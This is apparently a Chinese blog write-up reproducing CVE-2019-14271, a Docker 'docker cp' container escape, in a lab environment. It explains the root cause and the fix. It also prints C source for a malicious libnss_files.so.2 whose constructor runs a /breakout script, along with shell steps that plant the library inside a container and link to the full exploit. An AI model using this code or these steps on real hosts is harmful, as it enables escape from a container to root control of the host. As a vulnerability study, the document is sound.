抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞环境

环境部署

1
./metarget cnv install cve-2019-14271

漏洞影响版本

  • Docker < 19.03.1

拉一个 alpine 镜像

1
2
docker pull alpine
docker run -itd --name=14271 alpine /bin/sh

这里如果用 ubuntu 镜像会出现问题

1
2
Error response from daemon: error processing tar file: docker-tar: relocation error: /lib/x86_64-linux-gnu/libnss_files.so.2: symbol __libc_readline_unlocked version GLIBC_PRIVATE not defined in file libc.so.6 with link time reference
: exit status 127

不过后面利用的时候好像 ubuntu 镜像又好了,很神奇…

漏洞描述

The vulnerability can be exploited, provided that a container has been compromised by a previous attack (e.g. through any other vulnerability, leaked secrets, etc.), or when a user runs a malicious container image from an untrusted source (registry or other). If the user then executes the vulnerable cp command to copy files out of the compromised container, the attacker can escape and take full root control of the host and all other containers in it.

前置知识

docker cp 命令是用来在容器和宿主机之间拷贝文件的,比如把容器中的 /var/logs 目录拷贝到本机

1
docker cp container_name:/var/logs /some/host/path

这里在容器内通过 dd/var/log 新建了个大文件,以便于捕捉复制文件时的进程。如下,当我们执行 docker cp 时,通过 ps 看到运行了一个 docker-tar 的进程从容器内打包文件

image-20220423223340004

1
2
3
docker cp 14271:/var/log log &
ps afx | grep -v grep | grep -B 1 docker-tar
ls -l /proc/[docker-tar-pid]/root

/var/lib/docker/overlay2/3f5442ab960e56e8e34cfda288b5ec4d313b51b53319e4671a8d8add0c397369/merged/ 为容器文件系统根目录,var/log 即为日志目录

image-20220423223643153

通过查看进程的根目录发现 ls -l /proc/29989/root ,执行 docker-tar 时会 chroot 至容器目录,因为这可以避免一些恶意软链接文件至宿主问题。尽管 chroot 至容器可以避免恶意软链接,但通过CVE-2019-14271 仍可进行逃逸

漏洞分析

Docker主要是通过Go编写,存在 漏洞Docker版本通过Go 1.11 编译,这个版本一些包含嵌入式C代码(cgo)会在运行时动态加载共享库。docker-tar 使用了 net 和 os/user 包,它们在运行时都会加载 libnss_*.so 动态链接库,本来是没有问题的,因为是加载宿主机上的 .so ,但打包容器内的文件时,会通过 chroot 进入容器内,导致加载了容器内的 .so,但容器内的 .so 是可被篡改的,而运行打包命令是宿主机环境,从而导致逃逸。

docker-tar 调用栈

https://github.com/docker/docker-ce/blob/v19.03.0/components/engine/pkg/chrootarchive/init_unix.go#L17

https://github.com/docker/docker-ce/blob/v19.03.0/components/engine/pkg/chrootarchive/archive_unix.go#L178

https://github.com/docker/docker-ce/blob/v19.03.0/components/engine/pkg/chrootarchive/archive_unix.go#L135

https://github.com/docker/docker-ce/blob/v19.03.0/components/engine/pkg/chrootarchive/chroot_linux.go#L105

经分析我们需要构造一个恶意的 .so库,用于加载我们的恶意代码。报错信息写的是加载 libnss_files.so.2 那我们就改这库的源码。查阅文档得知可通过构造方法让进程在加载动态链接库时先初始化构造函数,也就是说 docker-tar 执行时会动态加载我们的恶意库中的恶意函数,简化后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;

rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");

// success return 0
if (!fork())
{

// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child

return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}

此函数通过检测 /proc 目录是否为空来判断自己是否运行在 docker-tar 上下文中,如为空则是运行在 docker-tar 上下文中,如非空则为其他正常的容器进程加载这个动态链接库,因为 /proc 上的procfs挂载只存在于容器挂载上下文中。

如果是通过 docker-tar 调用的此库,先把恶意库恢复为原来的,防止其他进程再一次出发我们的脚本,其中 /breakout 是我们要运行的shell脚本,方便我们改要运行的命令

据说漏洞发现是由一个外国老哥遇到一个docker cp 复制文件问题引起的https://github.com/moby/moby/issues/39449 ,报错信息写着加载到了 libnss_files.so.2 文件

漏洞利用

执行docker cp后即触发漏洞主要有两种方式

  1. 拉取一个攻击者构造恶意 libnss_*.so 动态链接库的容器
  2. 攻击者获取到容器内一定权限,可以替换 libnss_*.so

漏洞利用exp下载:https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp

1
2
3
4
5
6
7
8
9
10
docker run -itd --name=14271 ubuntu bash
docker cp exp/ 14271:/
docker exec -it 14271 bash
ls /exp
breakout libnss_files.so.2 original_libnss_files.so.2
cp /exp/* /
chmod 777 /breakout
touch /logs
rm /lib/x86_64-linux-gnu/libnss_files.so.2
mv /libnss_files.so.2 /lib/x86_64-linux-gnu/

image-20220427084651396

漏洞修复

https://github.com/moby/moby/pull/39612/files

在 chrootarchive 包初始化时先加载 libnss 动态链接库,因为 usernet 这两个包的方法会加载到,只要调用了, 这时加载是从宿主机加载 libnss 动态链接库,宿主机的库从容器内无法更改,从而避免逃逸问题。

关于漏洞修复 ssst0n3 师傅分析的更为深入,膜拜 https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/docker-software/plumbing/docker-cp/CVE-2019-14271/%E5%88%86%E6%9E%90/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html

参考

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

评论